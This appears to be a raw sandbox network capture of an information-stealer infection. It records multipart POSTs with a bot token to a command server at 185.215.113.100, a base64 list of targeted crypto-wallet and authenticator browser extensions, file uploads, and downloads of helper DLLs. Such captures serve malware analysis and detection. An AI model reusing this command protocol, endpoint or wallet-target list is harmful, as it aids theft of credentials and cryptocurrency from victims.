46 48 49 45 48 4a 4b 45 43 47 43 47 43 2d 2d 0d 0a Data Ascii: ------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="message"plugins------FIIJJKKFHIEHJKECGCGC--
Sep 1, 2024 01:22:01.295677900 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 1, 2024 01:22:01.295690060 CEST	164	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9n
Sep 1, 2024 01:22:01.295697927 CEST	1236	IN	Data Raw: 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 78 73 5a 58 52 38 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 Data Ascii: a2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZ
Sep 1, 2024 01:22:01.295705080 CEST	224	IN	Data Raw: 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d Data Ascii: ZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRl
Sep 1, 2024 01:22:01.295707941 CEST	1236	IN	Data Raw: 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 6c 71 61 57 35 6f 63 47 31 75 61 6d 5a 6d 59 32 39 6d 61 6d 39 75 59 6d 5a 69 5a 32 46 76 59 33 77 78 66 44 42 38 4d 48 78 48 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 Data Ascii: bXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB
Sep 1, 2024 01:22:01.295716047 CEST	1236	IN	Data Raw: 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d Data Ascii: YW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGl
Sep 1, 2024 01:22:01.295756102 CEST	448	IN	Data Raw: 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 Data Ascii: ZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHx
Sep 1, 2024 01:22:01.295761108 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 52 6e 4a 76 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 Data Ascii: MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFd
Sep 1, 2024 01:22:01.295766115 CEST	328	IN	Data Raw: 59 6d 4a 77 62 57 68 70 61 47 56 6f 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 Data Ascii: YmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF
Sep 1, 2024 01:22:01.295769930 CEST	328	IN	Data Raw: 59 6d 4a 77 62 57 68 70 61 47 56 6f 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 Data Ascii: YmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF
Sep 1, 2024 01:22:01.298013926 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="message"fplugins------FCAEBFIJKEBGHIDHIEGI--
Sep 1, 2024 01:22:01.544641018 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 1, 2024 01:22:01.560903072 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.215.113.100 Content-Length: 7063 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:22:02.415046930 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:02.415683985 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:02.669548035 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 1, 2024 01:22:04.145328045 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAK Host: 185.215.113.100 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:22:05.062947989 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:05.131721020 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF Host: 185.215.113.100 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:22:05.935331106 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:05.949204922 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Sep 1, 2024 01:22:06.743808031 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:07.290482998 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Sep 1, 2024 01:22:08.084709883 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:08.255763054 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:08.498222113 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 1, 2024 01:22:09.402580023 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:09.650871992 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 1, 2024 01:22:10.022908926 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 01:22:10.265415907 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 